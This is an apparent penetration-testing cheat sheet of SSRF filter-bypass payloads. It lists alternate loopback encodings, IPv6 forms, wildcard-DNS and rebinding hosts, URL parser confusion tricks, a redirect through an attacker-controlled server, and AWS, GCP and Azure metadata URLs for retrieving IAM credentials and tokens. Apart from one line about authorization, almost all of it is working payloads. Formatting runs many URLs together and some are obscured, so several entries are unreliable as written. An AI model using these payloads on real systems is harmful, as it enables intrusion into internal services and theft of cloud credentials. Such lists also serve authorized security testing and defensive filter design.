SSRF filter bypass
Defeat allow-list / blocklist URL validation to reach internal or cloud-metadata endpoints. IP-format tricks and parser confusion are the highest-yield.
Stop after confirmation. Do not escalate impact without separate authorization.
127.0.0.1 alternate encodings
The blocklist matches the dotted-quad string; the resolver accepts all of these as loopback.
http://127.0.0.1http://2130706433http://0x7f000001http://0177.0.0.1http://127.1http://0x7f.1
IPv6 loopback / v4-mapped
IPv4-only filters miss the v6 loopback and mapped forms.
http://[::1]/http://[::ffff:127.0.0.1]/http://[0:0:0:0:0:ffff:7f00:1]/
DNS-based (wildcard + rebinding)
Wildcard-DNS services and TOCTOU rebinding resolve a public-looking host to an internal IP.
http://127.0.0.1.nip.io/http://localtest.me/http://make-127-0-0-1.sslip.io/
URL parser confusion
Userinfo (`@`), fragment (`#`) and backslash tricks exploit validator-vs-client disagreement.
http://[email protected]/http://169.254.169.254#expected.comhttp://169.254.169.254\@expected.comhttp://expected.com%[email protected]/
Redirect to internal
If the fetcher follows redirects, the allow-list only ever sees your benign host.
http://YOUR-SERVER/r?to=http://169.254.169.254/latest/meta-data/
Cloud metadata targets
The payoff once SSRF is confirmed - IAM creds and tokens. IMDSv2 needs a PUT to fetch a token first.
http://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/api/token (PUT, IMDSv2)http://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)http://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)
Version history: normalized permanent page created 2026-08-20.